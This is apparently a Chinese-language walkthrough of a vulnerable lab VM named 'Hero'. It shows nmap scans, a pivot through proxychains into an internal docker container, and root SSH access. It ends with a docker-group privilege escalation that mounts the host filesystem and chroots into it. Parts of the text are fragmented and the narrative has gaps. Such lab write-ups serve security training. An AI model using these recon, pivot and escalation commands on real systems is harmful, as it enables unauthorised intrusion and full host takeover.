┌──(root㉿kali)-[~/Desktop/test/Hero] └─# nmap -sP 192.168.56.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-07 09:16 EST Nmap scan report for192.168.56.1 Host is up (0.00046s latency). MAC Address: 0A:00:27:00:00:09 (Unknown) Nmap scan report for192.168.56.2 Host is up (0.00049s latency). MAC Address: 08:00:27:1B:2E:A6 (Oracle VirtualBox virtual NIC) Nmap scan report for192.168.56.19 Host is up (0.00027s latency). MAC Address: 08:00:27:BA:F4:75 (Oracle VirtualBox virtual NIC)
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[~/Desktop/test/Hero] └─# nmap -sT -min-rate 10000 -p- 192.168.56.19 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-07 09:17 EST Nmap scan report for192.168.56.19 Host is up (0.00060s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:BA:F4:75 (Oracle VirtualBox virtual NIC)
┌──(root㉿kali)-[~/Desktop/test/Hero] └─# nmap -sT -A -T4 -p 22,80 192.168.56.19 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-07 09:18 EST Nmap scan report for192.168.56.19 Host is up (0.00062s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0) | ssh-hostkey: | 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA) |_ 25673:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-server-header: Apache/2.4.62 (Debian) |_http-title: Apache2 Debian Default Page: It works MAC Address: 08:00:27:BA:F4:75 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1openand1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
┌──(root㉿kali)-[~] └─# nmap -script=vuln -p 22,80 192.168.56.19 Starting Nmap 7.94SVN ( [https://nmap.org](https://nmap.org/) ) at 2025-02-08 00:33 EST Stats: 0:00:16 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan NSE Timing: About 50.00% done; ETC: 00:34 (0:00:16 remaining) Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable). Nmap scan report for192.168.56.19 Host is up (0.00066s latency).
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. MAC Address: 08:00:27:BA:F4:75 (Oracle VirtualBox virtual NIC)
hacktivist@debian1:/var/www/html/Anonymous-Connections/victims$ sudo nmap -sP 10.10.10.0/24 .10.10.0/24sP 10. Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-07 18:44 UTC Nmap scan report for10.10.10.1 Host is up (0.000026s latency). MAC Address: 02:42:0B:4E:D9:36 (Unknown) Nmap scan report for debian2.private (10.10.10.20) Host is up (0.000025s latency). MAC Address: 02:42:0A:0A:0A:14 (Unknown) Nmap scan report for debian1 (10.10.10.10) Host is up. Nmap done: 256 IP addresses (3 hosts up) scanned in14.85 seconds
扫描一下10.10.10.20机器的端口,发现2222端口
1 2 3 4 5 6 7 8 9
hacktivist@debian1:/var/www/html/Anonymous-Connections/victims$ sudo nmap -min-rate 1000010.10.10.20 ate 1000010.10.10.20 Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-07 18:50 UTC Nmap scan report for debian2.private (10.10.10.20) Host is up (0.0000060s latency). Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE 2222/tcp open EtherNetIP-1 MAC Address: 02:42:0A:0A:0A:14 (Unknown)
hacktivist@debian1:/var/www/html/Anonymous-Connections/victims$ sudo nmap -sT -A -T4 -O 10.10.10.20 -T4 -O 10.10.10.20 Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-07 18:52 UTC Nmap scan report for debian2.private (10.10.10.20) Host is up (0.00010s latency). Not shown: 999 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 2222/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0) | ssh-hostkey: | 256 39b4417103f9114efe67d53ab63e4ceb (ECDSA) |_ 256 e133f35557dd7df76fdfdeea5cb7263d (ED25519) MAC Address: 02:42:0A:0A:0A:14 (Unknown) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 10.10 ms debian2.private (10.10.10.20)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in1.72 seconds
[ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks4 127.0.0.11080
kali通过proxychain4来连接靶机内网,使用上边得到的密码成功进入,但是很容易断开(泪)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
┌──(root㉿kali)-[~/Desktop/Tools] └─# proxychains4 ssh root@10.10.10.20 -p 2222 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.10.20:2222 <-- 0 --> (open)used/unused 1/999 ... OK root@10.10.10.20's password: Linux debian2 6.1.0-30-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.124-1 (2025-01-12) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Feb 4 23:12:09 2025 from 10.10.10.1 root@debian2:~#
靶机信息收集 - 2
在当前目录可以找到.ssh文件夹,里边有id_rsa
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
root@debian2:~# ls -al total 28 drwx------ 4 root root 4096 Feb 422:01 . drwxr-xr-x 1 root root 4096 Feb 411:17 .. -rw------- 1 root root 93 Feb 423:12 .bash_history -rw-r--r-- 1 root root 586 Feb 420:29 .bashrc drwxr-xr-x 3 root root 4096 Feb 420:21 .local -rw-r--r-- 1 root root 161 Jul 92019 .profile drwx------ 2 root root 4096 Feb 421:38 .ssh
alfredo@anon:/home$ id uid=1000(alfredo) gid=1000(alfredo) grupos=1000(alfredo),109(docker)
1 2 3 4
alfredo@anon:/home$ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES e0bc4c70b0df debian:latest "/bin/bash"3 days ago Up 6 hours debian2 b2d474841fe1 debian:latest "/bin/bash"3 days ago Up 6 hours 0.0.0.0:80->80/tcp, :::80->80/tcp debian1
1 2 3 4 5
alfredo@anon:/home$ docker images REPOSITORY TAG IMAGE ID CREATED SIZE debian2 latest 8862ed54f766 3 days ago 117MB debian1 latest 62c15a42ee05 3 days ago 117MB debian latest 18f9bd665a29 4 days ago 117MB
可以直接提权了
1 2 3
alfredo@anon:/home$ docker run -v /:/mnt --rm -it debian chroot /mnt sh # id uid=0(root) gid=0(root) groups=0(root)